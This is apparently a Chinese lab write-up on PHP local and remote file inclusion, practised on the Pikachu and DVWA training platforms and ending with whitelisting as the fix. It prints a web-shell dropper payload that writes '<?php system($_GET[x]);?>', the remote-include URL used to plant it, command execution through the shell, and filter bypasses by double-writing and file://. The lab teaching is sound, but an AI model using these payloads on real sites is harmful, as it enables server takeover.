概述:
在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能。比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调用的时候直接在文件头中写上一句 <?php include function.php?>就可以调用函数。
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件(代码)。
分为: 本地文件包含 和 远程文件包含
本地文件包含:
我们在 pikachu 平台上先对本地文件包含进行测试,
可以看到是 传了一个文件名到后台,后台会指定的目标文件进行对应的操作(这些文件都是后台自己存在的文件)。
我们观察源码:没有进行限制,也没有设置白名单。
远程文件包含:
远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下:
allow_url_fopen = on
allow_url_include = on 如图所示
在 Pikachu 上,远程文件包含这里,同样是通过传递一个文件名进行包含的
我们把它改成一个攻击者服务器上的恶意代码。再/WWW/pikachu/下新建一个yijuhua.txt文件,内容为:
<?php $myfile = fopen("yijuhua.php", "w"); $txt = '<?php system($_GET[x]);?>'; fwrite($myfile, $txt); fclose($myfile); ?>
然后把 filename 后面的参数改成远程文件的地址,http://192.168.35.132/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.35.132/pikachu/yijuhua.txt&submit=提交
提交之后我们的远程服务器上会多出一个文件,
这时候我们就可以利用我们上传的 php 文件进行相关的操作:http://192.168.35.132/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig
比如用菜刀进行连接,因为这是get型,可以直接再url中输入命令对其进行控制。
这里的文件包含漏洞里DVWA也有,防护的情况也多一点点。
比如:
1.增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。
但是还是不安全的,因为可以使用双写绕过替换规则。例如page=htthttp://p://时,str_replace函数会将http://删除,于是page=http://,成功执行远程命令。
2.使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
看似安全,我们依然可以利用file协议绕过防护策略
3.最后使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。